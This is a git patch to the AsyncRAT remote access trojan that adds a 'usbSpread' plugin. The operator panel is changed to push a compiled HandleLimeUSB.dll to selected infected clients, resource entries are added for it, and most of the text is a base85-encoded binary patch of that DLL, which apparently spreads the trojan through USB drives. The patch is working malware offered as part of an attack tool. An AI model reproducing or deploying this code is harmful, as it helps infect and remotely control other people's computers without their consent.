From c0f1d8f4bb6392c31e3b582a55a0332e2197792d Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Tue, 11 Jun 2019 14:55:37 +0300 Subject: [PATCH] Add DLL for usb spread --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 1 + .../Properties/Resources.Designer.cs | 10 + .../AsyncRAT-Sharp/Properties/Resources.resx | 3 + .../Resources/HandleLimeUSB.dll | Bin 0 -> 65536 bytes .../Client/Handle Packet/HandleLimeUSB.cs | 208 +----------------- 5 files changed, 21 insertions(+), 201 deletions(-) create mode 100644 AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index 9d29a07..063211e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -851,6 +851,7 @@ namespace AsyncRAT_Sharp { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.HandleLimeUSB); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs index ffd5a41..276f628 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.Designer.cs @@ -194,6 +194,16 @@ namespace AsyncRAT_Sharp.Properties { } } + /// + /// Looks up a localized resource of type System.Byte[]. + /// + internal static byte[] HandleLimeUSB { + get { + object obj = ResourceManager.GetObject("HandleLimeUSB", resourceCulture); + return ((byte[])(obj)); + } + } + /// /// Looks up a localized resource of type System.Drawing.Bitmap. /// diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx index c6d33a2..cd0c10e 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Properties/Resources.resx @@ -238,4 +238,7 @@ ..\Resources\save-image2.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a + + ..\Resources\HandleLimeUSB.dll;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + \ No newline at end of file diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll b/AsyncRAT-C#/AsyncRAT-Sharp/Resources/HandleLimeUSB.dll new file mode 100644 index 0000000000000000000000000000000000000000..c4fc3137ddfd05ed7bb3ac911b93a248b56f3660 GIT binary patch literal 65536 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 